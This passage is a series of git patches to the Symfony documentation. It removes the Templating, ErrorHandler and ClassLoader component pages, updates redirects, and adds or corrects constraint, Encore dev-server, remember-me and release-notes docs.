-:method:`Symfony\\Component\\Templating\\PhpEngine::set`::
-
-    use Symfony\Component\Templating\Helper\SlotsHelper;
-    // ...
-
-    $templating->set(new SlotsHelper());
-
-Custom Helpers
-~~~~~~~~~~~~~~
-
-You can create your own helpers by creating a class which implements
-:class:`Symfony\\Component\\Templating\\Helper\\HelperInterface`. However,
-most of the time you'll extend
-:class:`Symfony\\Component\\Templating\\Helper\\Helper`.
-
-The ``Helper`` has one required method:
-:method:`Symfony\\Component\\Templating\\Helper\\HelperInterface::getName`.
-This is the name that is used to get the helper from the ``$view`` object.
-
-Creating a Custom Engine
-------------------------
-
-Besides providing a PHP templating engine, you can also create your own engine
-using the Templating component. To do that, create a new class which
-implements the :class:`Symfony\\Component\\Templating\\EngineInterface`. This
-requires 3 method:
-
-* :method:`render($name, array $parameters = []) <Symfony\\Component\\Templating\\EngineInterface::render>`
-  - Renders a template
-* :method:`exists($name) <Symfony\\Component\\Templating\\EngineInterface::exists>`
-  - Checks if the template exists
-* :method:`supports($name) <Symfony\\Component\\Templating\\EngineInterface::supports>`
-  - Checks if the given template can be handled by this engine.
-
-Using Multiple Engines
-----------------------
-
-It is possible to use multiple engines at the same time using the
-:class:`Symfony\\Component\\Templating\\DelegatingEngine` class. This class
-takes a list of engines and acts just like a normal templating engine. The
-only difference is that it delegates the calls to one of the other engines. To
-choose which one to use for the template, the
-:method:`EngineInterface::supports() <Symfony\\Component\\Templating\\EngineInterface::supports>`
-method is used::
-
-    use Acme\Templating\CustomEngine;
-    use Symfony\Component\Templating\DelegatingEngine;
-    use Symfony\Component\Templating\PhpEngine;
-
-    $templating = new DelegatingEngine([
-        new PhpEngine(...),
-        new CustomEngine(...),
-    ]);
-
-Learn More
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /components/templating/*
-    /templates
-    /templating/*
diff --git a/components/templating/slotshelper.rst b/components/templating/slotshelper.rst
deleted file mode 100644
index 42c088c9fd9..00000000000
--- a/components/templating/slotshelper.rst
+++ /dev/null
@@ -1,87 +0,0 @@
-.. index::
-    single: Templating Helpers; Slots Helper
-
-Slots Helper
-============
-
-More often than not, templates in a project share common elements, like the
-well-known header and footer. Using this helper, the static HTML code can
-be placed in a layout file along with "slots", which represent the dynamic
-parts that will change on a page-by-page basis. These slots are then filled
-in by different children template. In other words, the layout file decorates
-the child template.
-
-Displaying Slots
-----------------
-
-The slots are accessible by using the slots helper (``$view['slots']``). Use
-:method:`Symfony\\Component\\Templating\\Helper\\SlotsHelper::output` to
-display the content of the slot on that place:
-
-.. code-block:: html+php
-
-    <!-- views/layout.php -->
-    <!doctype html>
-    <html>
-        <head>
-            <title>
-                <?php $view['slots']->output('title', 'Default title') ?>
-            </title>
-        </head>
-        <body>
-            <?php $view['slots']->output('_content') ?>
-        </body>
-    </html>
-
-The first argument of the method is the name of the slot. The method has an
-optional second argument, which is the default value to use if the slot is not
-available.
-
-The ``_content`` slot is a special slot set by the ``PhpEngine``. It contains
-the content of the sub-template.
-
-.. caution::
-
-    If you're using the standalone component, make sure you registered the
-    :class:`Symfony\\Component\\Templating\\Helper\\SlotsHelper`::
-
-        use Symfony\Component\Templating\Helper\SlotsHelper;
-
-        // ...
-        $templateEngine->set(new SlotsHelper());
-
-Extending Templates
--------------------
-
-The :method:`Symfony\\Component\\Templating\\PhpEngine::extend` method is called in the
-sub-template to set its parent template. Then
-:method:`$view['slots']->set() <Symfony\\Component\\Templating\\Helper\\SlotsHelper::set>`
-can be used to set the content of a slot. All content which is not explicitly
-set in a slot is in the ``_content`` slot.
-
-.. code-block:: html+php
-
-    <!-- views/page.php -->
-    <?php $view->extend('layout.php') ?>
-
-    <?php $view['slots']->set('title', $page->title) ?>
-
-    <h1>
-        <?= $page->title ?>
-    </h1>
-    <p>
-        <?= $page->body ?>
-    </p>
-
-.. note::
-
-    Multiple levels of inheritance is possible: a layout can extend another
-    layout.
-
-For large slots, there is also an extended syntax:
-
-.. code-block:: html+php
-
-    <?php $view['slots']->start('title') ?>
-        Some large amount of HTML
-    <?php $view['slots']->stop() ?>
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index fdfe7f359af..85b5f3612d4 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -243,8 +243,7 @@ the ``templates/layout.php``:
 You now have a setup that will allow you to reuse the layout.
 Unfortunately, to accomplish this, you're forced to use a few ugly
 PHP functions (``ob_start()``, ``ob_get_clean()``) in the template. Symfony
-solves this using a :doc:`Templating </components/templating>` component.
-You'll see it in action shortly.
+solves this using a `Templating`_ component. You'll see it in action shortly.
 
 Adding a Blog "show" Page
 -------------------------
@@ -683,7 +682,7 @@ migrating the blog from flat PHP to Symfony has improved your life:
   :doc:`routing </routing>`, or rendering :doc:`controllers </controller>`;
 
 * Symfony gives you **access to open source tools** such as `Doctrine`_ and the
-  :doc:`Templating </components/templating>`,
+  `Templating`_,
   :doc:`Security </components/security>`,
   :doc:`Form </components/form>`, `Validator`_ and
   `Translation`_ components (to name
@@ -703,6 +702,7 @@ A good selection of `Symfony community tools`_ can be found on GitHub.
 
 .. _`Model-View-Controller`: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
 .. _`Doctrine`: https://www.doctrine-project.org/
+.. _Templating: https://github.com/symfony/templating
 .. _Translation: https://github.com/symfony/translation
 .. _`Composer`: https://getcomposer.org
 .. _`download Composer`: https://getcomposer.org/download/

From 386625bc33b454a02832b605d13422f4510c0a40 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 23:12:09 +0200
Subject: [PATCH 0782/7107] Removed ErrorHandler component docs

---
 _build/redirection_map        |   1 +
 components/error_handler.rst  | 138 ----------------------------------
 components/phpunit_bridge.rst |   6 +-
 controller/error_pages.rst    |   5 +-
 4 files changed, 6 insertions(+), 144 deletions(-)
 delete mode 100644 components/error_handler.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 2dba2aee89a..f32792a413e 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -501,3 +501,4 @@
 /components/polyfill_uuid https://github.com/symfony/polyfill-uuid
 /components/web_link https://github.com/symfony/web-link
 /components/templating https://github.com/symfony/templating
+/components/error_handler https://github.com/symfony/error-handler
diff --git a/components/error_handler.rst b/components/error_handler.rst
deleted file mode 100644
index ef4fded3cee..00000000000
--- a/components/error_handler.rst
+++ /dev/null
@@ -1,138 +0,0 @@
-.. index::
-   single: Debug
-   single: Error
-   single: Exception
-   single: Components; ErrorHandler
-
-The ErrorHandler Component
-==========================
-
-    The ErrorHandler component provides tools to manage errors and ease
-    debugging PHP code.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/error-handler
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The ErrorHandler component provides several tools to help you debug PHP code.
-Call this method (e.g. in your :ref:`front controller <architecture-front-controller>`)
-to enable all of them in your application::
-
-    // public/index.php
-    use Symfony\Component\ErrorHandler\Debug;
-
-    if ($_SERVER['APP_DEBUG']) {
-        Debug::enable();
-    }
-
-    // ...
-
-Keep reading this article to learn more about each feature, including how to
-enable each of them separately.
-
-.. caution::
-
-    You should never enable the debug tools, except for the error handler, in a
-    production environment as they might disclose sensitive information to the user.
-
-.. _turning-php-errors-into-exceptions:
-
-Turning PHP Errors into Exceptions
-----------------------------------
-
-The :class:`Symfony\\Component\\ErrorHandler\\ErrorHandler` class catches PHP
-errors and uncaught PHP exceptions and turns them into PHP's
-:phpclass:`ErrorException` objects, except for fatal PHP errors, which are
-turned into Symfony's :class:`Symfony\\Component\\ErrorHandler\\Error\\FatalError`
-objects.
-
-If the application uses the FrameworkBundle, this error handler is enabled by
-default in the :ref:`production environment <configuration-environments>`
-because it generates better error logs.
-
-Use the following code (e.g. in your :ref:`front controller <architecture-front-controller>`)
-to enable this error handler::
-
-    use Symfony\Component\ErrorHandler\ErrorHandler;
-
-    ErrorHandler::register();
-
-Catching PHP Function Errors and Turning Them into Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Consider the following example::
-
-    $data = json_decode(file_get_contents($filename), true);
-    $data['read_at'] = date($datetimeFormat);
-    file_put_contents($filename, json_encode($data));
-
-Most PHP core functions were written before exception handling was introduced,
-so they return ``false`` or ``null`` in case of error instead of throwing an
-exception. That's why you need to add something like these to check for errors::
-
-    $content = @file_get_contents($filename);
-    if (false === $content) {
-        throw new \RuntimeException('Could not load file.');
-    }
-
-    // since PHP 7.3 json_decode() defines an option to throw JSON_THROW_ON_ERROR
-    // but you need to enable that option explicitly
-    $data = @json_decode($content, true);
-    if (null === $data) {
-        throw new \RuntimeException('File does not contain valid JSON.');
-    }
-
-    $datetime = @date($datetimeFormat);
-    if (false === $datetime) {
-        throw new \RuntimeException('Invalid datetime format.');
-    }
-
-To simplify this code, the :class:`Symfony\\Component\\ErrorHandler\\ErrorHandler`
-class provides a :method:`Symfony\\Component\\ErrorHandler\\ErrorHandler::call`
-method that throws an exception automatically when a PHP error occurs::
-
-    $content = ErrorHandler::call('file_get_contents', $filename);
-
-The first argument of ``call()`` is the name of the PHP function to execute and
-the rest of arguments are passed to the PHP function. The result of the PHP
-function is returned as the result of ``call()``.
-
-You can pass any PHP callable as the first argument of ``call()``, so you can
-wrap several function calls inside an anonymous function::
-
-    $data = ErrorHandler::call(static function () use ($filename, $datetimeFormat) {
-        // if any code executed inside this anonymous function fails, a PHP exception
-        // will be thrown, even if the code uses the '@' PHP silence operator
-        $data = json_decode(file_get_contents($filename), true);
-        $data['read_at'] = date($datetimeFormat);
-        file_put_contents($filename, json_encode($data));
-
-        return $data;
-    });
-
-.. _component-debug-class-loader:
-
-Class Loading Debugger
-----------------------
-
-The :class:`Symfony\\Component\\ErrorHandler\\DebugClassLoader` class throws
-more useful exceptions when a class isn't found by the registered autoloaders
-(e.g. looks for typos in the class names and suggest the right class name).
-
-In practice, this debugger looks for all registered autoloaders that implement a
-``findFile()`` method and replaces them by its own method to find class files.
-
-Use the following code (e.g. in your :ref:`front controller <architecture-front-controller>`)
-to enable this class loading debugger::
-
-    use Symfony\Component\ErrorHandler\DebugClassLoader;
-
-    DebugClassLoader::enable();
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 3f6563afefa..c5a85265f8c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -311,9 +311,8 @@ Deprecation Notices at Autoloading Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the PHPUnit Bridge uses ``DebugClassLoader`` from the
-:doc:`ErrorHandler component </components/error_handler>` to throw deprecation
-notices at class autoloading time. This can be disabled with the
-``debug-class-loader`` option.
+`ErrorHandler component`_ to throw deprecation notices at class autoloading
+time. This can be disabled with the ``debug-class-loader`` option.
 
 .. code-block:: xml
 
@@ -970,6 +969,7 @@ not find the SUT:
 
 .. _`PHPUnit`: https://phpunit.de
 .. _`PHPUnit event listener`: https://phpunit.de/manual/current/en/extending-phpunit.html#extending-phpunit.PHPUnit_Framework_TestListener
+.. _`ErrorHandler component`: https://github.com/symfony/error-handler
 .. _`PHPUnit's assertStringMatchesFormat()`: https://phpunit.de/manual/current/en/appendixes.assertions.html#appendixes.assertions.assertStringMatchesFormat
 .. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php
 .. _`environment variable`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.php-ini-constants-variables
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 2035067a43b..1b05c2745c4 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -125,9 +125,8 @@ as this is very likely to expose sensitive data.
 
 .. tip::
 
-    PHP errors are turned into exceptions as well by default, so you can also access these
-    error details using ``exception``. For more on this see
-    :ref:`Turning PHP Errors into Exceptions <turning-php-errors-into-exceptions>`
+    PHP errors are turned into exceptions as well by default, so you can also
+    access these error details using ``exception``.
 
 Security & 404 Pages
 --------------------

From 522d63b2d1e04ca5dc9b15a3fcc55699ac3235a8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 23:35:41 +0200
Subject: [PATCH 0783/7107] Removed ClassLoader component docs

---
 _build/redirection_map      | 21 +++++++++++----------
 components/class_loader.rst | 12 ------------
 2 files changed, 11 insertions(+), 22 deletions(-)
 delete mode 100644 components/class_loader.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index f32792a413e..d617999f0b3 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -13,7 +13,7 @@
 /cookbook/email /email
 /cookbook/gmail /cookbook/email/gmail
 /cookbook/console /components/console
-/cookbook/tools/autoloader /components/class_loader
+/cookbook/tools/autoloader https://github.com/symfony/class-loader
 /cookbook/tools/finder /components/finder
 /cookbook/service_container/parentservices /service_container/parent_services
 /cookbook/service_container/factories /service_container/factories
@@ -295,15 +295,15 @@
 /components/asset/introduction /components/asset
 /components/browser_kit/index /components/browser_kit
 /components/browser_kit/introduction /components/browser_kit
-/components/class_loader/introduction /components/class_loader
-/components/class_loader/index /components/class_loader
-/components/class_loader/cache_class_loader /components/class_loader
-/components/class_loader/class_loader /components/class_loader
-/components/class_loader/class_map_generator /components/class_loader
-/components/class_loader/debug_class_loader /components/class_loader
-/components/class_loader/map_class_loader /components/class_loader
-/components/class_loader/map_class_loader /components/class_loader
-/components/class_loader/psr4_class_loader /components/class_loader
+/components/class_loader/introduction https://github.com/symfony/class-loader
+/components/class_loader/index https://github.com/symfony/class-loader
+/components/class_loader/cache_class_loader https://github.com/symfony/class-loader
+/components/class_loader/class_loader https://github.com/symfony/class-loader
+/components/class_loader/class_map_generator https://github.com/symfony/class-loader
+/components/class_loader/debug_class_loader https://github.com/symfony/class-loader
+/components/class_loader/map_class_loader https://github.com/symfony/class-loader
+/components/class_loader/map_class_loader https://github.com/symfony/class-loader
+/components/class_loader/psr4_class_loader https://github.com/symfony/class-loader
 /components/config/introduction /components/config
 /components/config/index /components/config
 /components/console/helpers/tablehelper /components/console/helpers/table
@@ -502,3 +502,4 @@
 /components/web_link https://github.com/symfony/web-link
 /components/templating https://github.com/symfony/templating
 /components/error_handler https://github.com/symfony/error-handler
+/components/class_loader https://github.com/symfony/class-loader
diff --git a/components/class_loader.rst b/components/class_loader.rst
deleted file mode 100644
index f3268b1ca71..00000000000
--- a/components/class_loader.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-.. index::
-    single: Components; ClassLoader
-
-The ClassLoader Component
-=========================
-
-.. caution::
-
-    The ClassLoader component was removed in Symfony 4.0. As an alternative, use
-    any of the `class loading optimizations`_ provided by Composer.
-
-.. _`class loading optimizations`: https://getcomposer.org/doc/articles/autoloader-optimization.md

From d0ca467ac5e22ae0e63ad9b0ec240d64b991d484 Mon Sep 17 00:00:00 2001
From: AmalricBzh <amalricBzh@users.noreply.github.com>
Date: Mon, 1 Jun 2020 11:42:35 +0200
Subject: [PATCH 0784/7107] Fix: message must be notInRangeMessage

Example was wrong : when min and max are specified, minMessage and MaxMessage are ignored.
---
 reference/constraints/Range.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index ae7905a8522..5743d8d04ef 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -40,8 +40,7 @@ you might add the following:
              * @Assert\Range(
              *      min = 120,
              *      max = 180,
-             *      minMessage = "You must be at least {{ limit }}cm tall to enter",
-             *      maxMessage = "You cannot be taller than {{ limit }}cm to enter"
+             *      notInRangeMessage = "You must be between {{ min }}cm and {{ max }}cm tall to enter",
              * )
              */
             protected $height;

From d038917e6b564649b0917dce9f570624cb6a026b Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Sat, 30 May 2020 10:41:20 +0200
Subject: [PATCH 0785/7107] Update installation.rst

update code
---
 frontend/encore/installation.rst | 18 ++++++++++++++----
 1 file changed, 14 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index b39fec3a296..f0d2575d4d2 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -98,14 +98,24 @@ is the main config file for both Webpack and Webpack Encore:
 
     module.exports = Encore.getWebpackConfig();
 
-Next, create a new ``assets/js/app.js`` file with some basic JavaScript *and*
-import some JavaScript:
+Next, open the new ``assets/js/app.js`` file which contains some JavaScript code
+*and* imports some CSS:
 
 .. code-block:: javascript
 
     // assets/js/app.js
-
-    require('../css/app.css');
+    /*
+     * Welcome to your app's main JavaScript file!
+     *
+     * We recommend including the built version of this JavaScript file
+     * (and its CSS file) in your base layout (base.html.twig).
+     */
+
+    // any CSS you import will output into a single css file (app.css in this case)
+    import '../css/app.css';
+
+    // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
+    // import $ from 'jquery';
 
     console.log('Hello Webpack Encore');
 

From 069e02be14e46389a1fece088e53a1ea67b04870 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Jun 2020 15:41:12 +0200
Subject: [PATCH 0786/7107] Minor tweak

---
 reference/dic_tags.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index c6849978bb9..f7f43dca376 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -260,9 +260,9 @@ Add this tag to a service and its class won't be preloaded when using
             ->addTag('container.no_preload')
         ;
 
-If some service tagged with ``container.no_preload`` is added as an argument of
-other service, the ``container.no_preload`` tag is applied automatically to that
-service too.
+If you add some service tagged with ``container.no_preload`` as an argument of
+another service, the ``container.no_preload`` tag is applied automatically to
+that service too.
 
 .. _dic-tags-container-preload:
 

From 0984459916babda81915d9f41246e2d13dac6dc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 May 2020 16:58:26 +0200
Subject: [PATCH 0787/7107] [Validator] Documented the ExpressionLanguageSyntax
 constraint

---
 reference/constraints.rst                     |   1 +
 .../constraints/ExpressionLanguageSyntax.rst  | 129 ++++++++++++++++++
 reference/constraints/map.rst.inc             |   1 +
 3 files changed, 131 insertions(+)
 create mode 100644 reference/constraints/ExpressionLanguageSyntax.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index faa5ed3cac2..1aeaca354e7 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -14,6 +14,7 @@ Validation Constraints Reference
    constraints/Type
 
    constraints/Email
+   constraints/ExpressionLanguageSyntax
    constraints/Length
    constraints/Url
    constraints/Regex
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
new file mode 100644
index 00000000000..61a32b901e9
--- /dev/null
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -0,0 +1,129 @@
+ExpressionLanguageSyntax
+========================
+
+This constraint checks that the value is valid as an `ExpressionLanguage`_
+expression.
+
+.. versionadded:: 5.1
+
+    The ``ExpressionLanguageSyntax`` constraint was introduced in Symfony 5.1.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `allowedVariables`_
+            - `groups`_
+            - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntax`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntaxValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraints ensure that:
+
+* the ``promotion`` propery stores a value which is valid as an
+  ExpressionLanguage expression;
+* the ``shippingOptions`` property also ensures that the expression only uses
+  certain variables.
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            /**
+             * @Assert\ExpressionLanguageSyntax()
+             */
+            protected $promotion;
+
+            /**
+             * @Assert\ExpressionLanguageSyntax(
+             *     allowedVariables = ['user', 'shipping_centers']
+             * )
+             */
+            protected $shippingOptions;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Order:
+            properties:
+                promotion:
+                    - ExpressionLanguageSyntax: ~
+                shippingOptions:
+                    - ExpressionLanguageSyntax:
+                        allowedVariables: ['user', 'shipping_centers']
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Order">
+                <property name="promotion">
+                    <constraint name="ExpressionLanguageSyntax"/>
+                </property>
+                <property name="shippingOptions">
+                    <constraint name="ExpressionLanguageSyntax">
+                        <option name="allowedVariables">['user', 'shipping_centers']</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Order
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('promotion', new Assert\ExpressionLanguageSyntax());
+
+                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionLanguageSyntax([
+                    'allowedVariables' => ['user', 'shipping_centers'],
+                ]));
+            }
+        }
+
+Options
+-------
+
+allowedVariables
+~~~~~~~~~~~~~~~~
+
+**type**: ``array`` or ``null`` **default**: ``null``
+
+If this option is defined, the expression can only use the variables whose names
+are included in this option. Unset this option or set its value to ``null`` to
+allow any variables.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value should be a valid expression.``
+
+This is the message displayed when the validation fails.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`ExpressionLanguage`: https://symfony.com/components/ExpressionLanguage
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 05e820db8ee..2d16e7e34ee 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -16,6 +16,7 @@ String Constraints
 ~~~~~~~~~~~~~~~~~~
 
 * :doc:`Email </reference/constraints/Email>`
+* :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
 * :doc:`Length </reference/constraints/Length>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`Regex </reference/constraints/Regex>`

From 5805478a058100dcb160f50826c93de17c52b4dc Mon Sep 17 00:00:00 2001
From: Dimitri Gritsajuk <gritsajuk.dimitri@gmail.com>
Date: Wed, 3 Jun 2020 18:51:48 +0200
Subject: [PATCH 0788/7107] [RememberMe] add doctrine migration note

---
 security/remember_me.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8258e6a2408..7b8af1824ad 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -313,6 +313,34 @@ so ``DoctrineTokenProvider`` can store the tokens:
         `username` varchar(200) NOT NULL
     );
 
+.. note::
+
+    If you use DoctrineMigrationsBundle to manage your DB migrations, you will need to tell Doctrine to ignore this new
+    `rememberme_token` table with :
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            doctrine:
+                dbal:
+                    schema_filter: ~^(?!rememberme_token)~
+
+        .. code-block:: xml
+
+            <doctrine:dbal schema-filter="~^(?!rememberme_token)~" .../>
+
+
+        .. code-block:: php
+
+            $container->loadFromExtension('doctrine', [
+                'dbal' => [
+                    'schema_filter'  => '~^(?!rememberme_token)~',
+                    // ...
+                ],
+                // ...
+            ]);
+
 Finally, set the ``token_provider`` option of the ``remember_me`` config to the
 service you just created:
 

From 91ee76e8fea96f0d3d11c8a6e369e05ba4b4e05a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schl=C3=BCter?=
 <13586874+malteschlueter@users.noreply.github.com>
Date: Thu, 4 Jun 2020 09:36:47 +0200
Subject: [PATCH 0789/7107] Update information in flex about added files for
 twig

---
 quick_tour/flex_recipes.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index dedd1e1083d..f9d01df6ce8 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -61,8 +61,8 @@ What did this recipe do? In addition to automatically enabling the feature in
 ``config/packages/twig.yaml``
     A configuration file that sets up Twig with sensible defaults.
 
-``config/routes/dev/twig.yaml``
-    A route that helps you debug your error pages.
+``config/packages/test/twig.yaml``
+    A configuration file to override some of the settings previously configured in ``config/packages/twig.yaml``.
 
 ``templates/``
     This is the directory where template files will live. The recipe also added

From af11ab20429877304eef2a7b99971f139bc5120f Mon Sep 17 00:00:00 2001
From: Jordan de Laune <jordan@chargifi.com>
Date: Thu, 4 Jun 2020 09:08:10 +0100
Subject: [PATCH 0790/7107] Example should be translator not translation

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3b8f4070792..3ebed1c72ce 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2024,7 +2024,7 @@ performance a bit:
 
         # config/packages/translation.yaml
         framework:
-            translation:
+            translator:
                 enabled_locales: ['en', 'es']
 
     .. code-block:: xml

From 828eb9b18e78ea82e83d00cf145e335f854ee69d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Wed, 3 Jun 2020 10:52:46 -0400
Subject: [PATCH 0791/7107] Adding details about Encore dev-server and https

---
 frontend/encore/dev-server.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 5da7d778cd7..9af0b5d69ad 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -17,6 +17,24 @@ Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <lo
 in some other way), you're done: the paths in your templates will automatically point
 to the dev server.
 
+Enabling HTTPS using the Symfony Web Server
+-------------------------------------------
+
+If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
+you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
+server SSL certificate:
+
+.. code-block:: terminal
+
+    # Unix-based systems
+    $ yarn dev-server --https --pfx=$HOME/.symfony/certs/default.p12
+
+    # Windows
+    $ encore dev-server --https --pfx=%UserProfile%\.symfony\certs\default.p12
+
+dev-server Options
+------------------
+
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 

From 68f1821246ae333ee396cb8c41962f758c2872ef Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Thu, 4 Jun 2020 14:15:32 +0200
Subject: [PATCH 0792/7107] Bump versions of releases

---
 .github/PULL_REQUEST_TEMPLATE.md    | 2 +-
 contributing/community/releases.rst | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index bc7d6a94182..af709c9c60f 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -1,7 +1,7 @@
 <!--
 
 If your pull request fixes a BUG, use the oldest maintained branch that contains
-the bug (see https://symfony.com/roadmap for the list of maintained branches).
+the bug (see https://symfony.com/releases for the list of maintained branches).
 
 If your pull request documents a NEW FEATURE, use the same Symfony branch where
 the feature was introduced (and `master` for features of unreleased versions).
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index fa8471717f2..260a357c596 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,12 +7,12 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 3.4.41, 4.4.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.9, 5.0.9, 5.1.1) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
-* A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
+* A new **Symfony minor version** (e.g. 4.4, 5.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features, but
   it doesn't include any breaking change, so you can safely upgrade your applications;
-* A new **Symfony major version** (e.g. 4.0, 5.0) comes out every *two years*.
+* A new **Symfony major version** (e.g. 4.0, 5.0, 6.0) comes out every *two years*.
   It can contain breaking changes, so you may need to do some changes in your
   applications before upgrading.
 

From b4ff675dd591f56aa3e141535b579941632e463f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Jun 2020 15:31:44 +0200
Subject: [PATCH 0793/7107] Minor tweak

---
 quick_tour/flex_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
